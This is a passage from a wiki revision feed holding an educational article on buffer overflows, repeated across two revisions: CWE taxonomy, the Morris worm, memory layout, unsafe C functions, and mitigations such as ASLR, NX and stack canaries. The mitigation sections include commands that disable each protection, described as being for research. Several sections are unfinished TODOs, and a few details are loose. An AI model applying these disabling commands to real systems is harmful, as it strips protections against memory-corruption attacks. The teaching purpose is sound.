* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=”One1996”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16951</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16951"/>
		<updated>2024-12-11T11:13:00Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Dangers */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; *Phrack*, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=”One1996”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
